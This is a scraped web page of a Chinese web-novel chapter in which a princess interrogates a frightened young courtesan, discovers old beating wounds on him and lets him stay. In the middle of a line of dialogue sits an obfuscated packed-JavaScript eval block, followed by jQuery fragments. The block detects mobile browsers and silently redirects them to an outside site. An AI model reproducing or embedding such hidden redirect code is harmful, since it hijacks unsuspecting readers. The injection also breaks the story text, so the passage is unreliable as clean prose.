10.烛影暗瘾2

作品:《榻下玉GB

    对虞白来说,罚站如同家常便饭。


    花楼南馆看重皮相,轻易不会动刑。因此,从前他挨过最多的就是罚站。


    当众罚站,禁闭罚站,举着东西罚站,甚至有时一站就是几天。


    但他觉得,和现在比起来,从前的罚站都是小儿科。


    书案上的烛台照不到他面前的墙壁,视野里一片昏暗,和蒙住眼睛没有区别。


    可他的耳朵没有被蒙住。


    他听见燕昭在他身后悠然站定,听见自己乱得一塌糊涂的心跳。


    知觉也没有,几乎能感觉到她视线的温度,落在他身上,一寸一寸寻找破绽。


    还一个字没问,他就已经想招供了。


    就这样静默了不知多久,久到他感觉已经濒临崩溃,才听见身后的人发话。


    “玉公子,”燕昭轻声说,“来公主府有几日了?”


    “……五日。”


    他听见身后“嗯”了声。


    “五天,也不短了。不过,我平时太忙,一直没空给你立规矩。趁今天这个机会,我跟你好好说清楚。”


    话落同时,有个硬物抵上他后肩。


    他全身一颤,呼吸都快停了,接着才反应过来,那是她手中握着的书。


    燕昭用书脊的硬角抵着他肩膀,慢悠悠开口:


    “不管你是有苦衷,还是别的什么,都不重要。在我这里,你可以有最大限度的自由,我很忙,没空管你,但只有一点,你得记住了。”


    “我容不下背叛。任何形式的,都不可以。”


    她停了停,手上又使了几分力:“能明白吗?”


    虞白立即点头,感觉心都快碎了。


    坚硬书脊正好抵在他后肩一处暗伤上,疼痛几乎铺天盖地,他呼吸都在发抖,但还是忍不住想为自己辩解。


    可刚转过头,就有只手按住他后脑,把他扳了回去,继续面壁。


    “站好。”她冷冷命令,又问,“想说什么?”


    “我……我不是特意去见他的。我原本只想……随便逛逛,但他突然把我拉去……”


    他话还没说完,就被一声轻笑打断。


    “是么。这么巧。”


    虞白心底又是一凉。


    她不信。


    他咬了咬唇,死死忍住快要夺眶而出的眼泪,又说:


    “他问我……殿下夜召太医的事,但我没说。”


    他声音抖如筛糠,身体也是。


    伤处的疼痛微不足道,让他颤抖的是她的怀疑,还有她冷淡到几乎无情的态度。


    他很想哭,但又怕掉了眼泪让她更不满,就拼命忍着,他甚至能从唇边尝到一丝腥甜。


    突然,抵在他肩上的书脊离开了。


    “我知道。”


    虞白一愣。


    “你若说了,就不可能活着回来。这次表现不错。以后该怎么做,你自己心里清楚。”


    谈论起他的生死,她语气像在开玩笑。


    说完,还半威胁半惩罚地用书在他后肩拍了一下。


    他本来就快要绷不住,这一下又正好拍在伤处,疼痛骤然炸开,他没忍住呜咽出声。


    “干什么?”身后的声音一顿:“很疼?我没使劲吧。”


    “没……没有,不疼……”


    他还想掩饰,可已经被她抓住了端倪。


    “有伤?”她几乎笃定,“让我看看。”


    书房里一时静得可怕,虞白都能听见自己的心跳。


    混乱、紧张、羞耻,还有不知该如何解释这身伤的恐慌。


    他本想拒绝,可接着又意识到,他好像没有拒绝的权利。


    他绝望地闭上眼睛,手指攀上衣带,一点一点解开。


    看着面前的人慢吞吞的动作,燕昭忍不住皱眉。


    至于么。


    看看伤而已,又不是要对他做什么。


    她耐心不多,直接抬手拨开他衣领,露出半边肩背。


    先映入眼帘的是雪白,然后是瘦到起伏的骨。


    在晃动的烛影下,他像被风沙侵蚀到残破的枯木。


    最后才看见了暗红。


    一条条、一段段,在皮下密布,若不是刚才碰到,甚至都浮不出来。


    不是新伤,起码有几日了。


    看着恢复程度……应该是五六日前留下的。


    五六日前。


    那不正是被送来公主府之前么。


    燕昭把衣裳盖了回去,微微眯起眼睛。


    给人送‘礼’,最忌讳的就是带着伤。


    破了皮相碍于观瞻、或者不便服侍扫人兴致,都是马屁拍到马腿上。


    除非是真不情愿,死犟着不肯配合,才会动这样的刑。


    骨头打软,脾气打没,老老实实地送来。


    她还以为是初见时她粗鲁了,抬手就要取人性命,才把人吓得抵触。


    没想到他从一开始就不想来。


    她静静打量背对着她的少年。


    有她那句‘不许回头’的吩咐,他再也没动,老老实实对着墙壁。


    他真瘦,她心想。


    烛光侧面照着他,他影子落在墙上,薄得几乎可以忽略。


    从她的角度,可以看见他正紧紧咬着下唇,睫毛在不停颤抖,眼底蓄着泪,但硬是忍着没落下。


    他的眼睛很漂亮,像纤细的柳叶。


    现在被泪水打湿,就像暴雨后摇摇欲坠的柳叶。


    她其实并不讨厌眼泪。


    只是他的眼泪,总让她想到另一个影子。


    那个人,也爱哭。他的眼泪,是留在她记忆里为数不多的温度。


    如果当年虞家没出事……


    燕昭心想,如果虞小公子还在,应该和这个少年差不多大。


    应该会比他自信明朗些,不会总低着头,也会比他高些,不会这么瘦。


    可她一闭上眼,黑暗里浮现的,只有那具支离破碎的白骨。


    一想起那个画面,她就觉得无力。讨厌这种感觉,所以就连眼泪也不想看见。


    燕昭用力闭上眼睛又睁开,重新打量面前的少年。


    他低着头,两只手攥着衣襟,单薄的肩膀抖个不停,仿佛刚才被她看过身体是个莫大的羞辱。


    她在心里重复,至于么。


    接着,她说:“你走吧。”


    他的颤抖一下子停了,声音带着些不可置信:“……什么?”


    “我说,你走吧。如果有家人,就回家,如果没有,去账房领些银子,自己找个地方落脚。”


    燕昭叹了口气,“离开公主府吧。”


    说完,她打算回桌边继续办公,可刚转过身,她袖角就被人拽住了。


    刚才还在乖乖面壁的少年身形一矮,扑通一声跪倒在她身前。


    “别……殿下,别赶我走,我不想走,我……殿下……”


    他语无伦次,声音都在颤抖,像是怕极了。


    终于,有滴眼泪忍不住了,顺着脸颊滑落,又被他以最快速度擦掉。


    “我做什么都可以,殿下,殿下……你要我做什么都可以,我不会再去见徐大人了,我再也不出门了,我……”


    “殿下,别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232472|165133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不要我……”


    虞白耳边一片嗡鸣,甚至都不知道自己在说些什么。


    脑海只有一个想法,她又要丢下他了。


    他感觉心脏都快停了。


    更让他绝望的是,他发现,没有任何方法能让他留下来。


    他的身份?燕昭已经把他忘了,现在摊牌什么用都没有。


    说不定还会因为隐瞒罪臣之子身份,再添一错。


    身体……


    她都说了,她不感兴趣。


    他甚至连眼泪都不能流,只能攥着她袖口,磕磕绊绊祈求。


    模糊的视野里,燕昭低头看着他,眼神那么平静。


    衬得他的狼狈那么鲜明。


    “好了。”她突然出声,“起来。”


    说完,她一边掰开他的手,一边朝门外扬声:“来人。”


    虞白呆愣在原地。


    手中空了,他下意识想去追她的衣角,那抹鸦青却已经走远,坐回书案后。


    莫大的绝望笼罩下来,他感觉他心口都在一抽一抽地痛。


    他等了六年才回到她身边。


    他不想走。


    可像上次分开时一样,他从来不是做决定的那个人。


    他无力地闭了闭眼,撑着地面想起身,可几次都站不起来。腿软,双膝也在刚才狠狠磕了一下,疼得像针扎。


    突然,他模糊一片的耳中落进道声音。


    是燕昭,朝着刚从门外进来的书云。


    “叫人送他回去。”


    回去?虞白一愣,回哪儿?


    他心中升起了些微弱的希望。


    “……殿下?”


    他忍不住开口,却没得到回应。


    书云拿着他的大氅走了过来,碰了碰他手臂。


    “玉公子,走吧。”她轻声说,“外头有人带你回寻梅阁。”


    听见这句,他这才放心下来,松了口气,整个人都险些晕倒,又强撑着起身。


    书房里很快安静下来。


    燕昭捧着本账册,却许久都没看进一个字。


    脑海,全是刚才那个少年在她身前哀哀祈求的模样。


    衣领散着,顾不上遮掩,身体不停颤抖,脸色也吓得苍白。


    是她思虑不周了。


    徐宏进把人送过来,要是就这么快被她赶出去了,不气死才怪。气,又不敢对她做什么,那只能加诸他身上了。


    怪不得怕成那样。


    他那么瘦,肩膀薄得看起来一捏就碎,要是真落到徐宏进手里,估计都撑不过两天。


    燕昭叹了口气,伸手摸索到桌下,取出暗格里的香囊,抵在鼻前闻了闻。


    很一般,不如他身上的药香。


    他也不是全无用处,留下也无妨。


    反正她也是要除掉徐宏进的,等到时候再送他走也不迟。


    她把香囊丢回去,继续办公,过了片刻,书云折返回来。


    “殿下,人回去了。”她问,“是发生了什么吗?玉公子吓得不轻,路都走不稳了。”


    燕昭摇摇头说没事,心想,大概是膝盖上也有伤。


    刚才跪下时她注意到了,疼得浑身都在颤。


    她叹了口气说:“明日,叫医官来一趟。不用找吴德元,府里随侍的医官就行。”


    “是。”


    “下去吧。对了,”她又忍不住问,“哭了吗?他回去的时候。”


    书云一愣,回想片刻:“没有,很安静。”


    燕昭挑了挑眉,没料到这个答案。


    今日第三次,那个少年让她感到意外。